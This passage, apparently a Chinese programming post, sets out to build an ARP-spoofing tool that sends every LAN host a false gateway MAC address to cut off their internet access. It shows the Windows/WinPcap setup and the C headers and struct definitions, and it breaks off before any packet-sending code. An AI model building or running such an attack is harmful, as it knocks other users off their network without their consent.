向局域网发送ARP应答包,向局域网所有主机发送错误的网关MAC地址,这样所有的计算机都不能上网了
源代码
环境 :windows xp ,vs2008,安装winpacp
开发包:winpacp
字符集:ASCII
#define WINVER 0x5001 //win xp
#define HAVE_REMOTE
#include <stdio.h>
#include <pcap.h>
#include <Packet32.h>
#include <windows.h>
#include <shlwapi.h>
#pragma comment(lib,"shlwapi.lib")
#pragma comment(lib,"wpcap.lib")
#pragma comment(lib,"Packet.lib")
#define EPT_IP 0x0800//IP协议
#define EPT_ARP 0x0806//ARP协议
#define EPT_RARP 0x8035// RARP协议
#define ARP_HARDWARE 0x0001/802.3 以太网
#define ARP_REQUEST 0x0001 //ARP 请求
#define ARP_REPLY 0x0002// ARP 应答
#define Max_Num_Adapter 10
#pragma pack(push, 1)
typedef struct ehhdr
{
unsigned char eh_dst[6]; //目标MAC地址
unsigned char eh_src[6]; //源MAC地址
unsigned short eh_type; //帧类型
} EHHDR, *PEHHDR;
typedef stru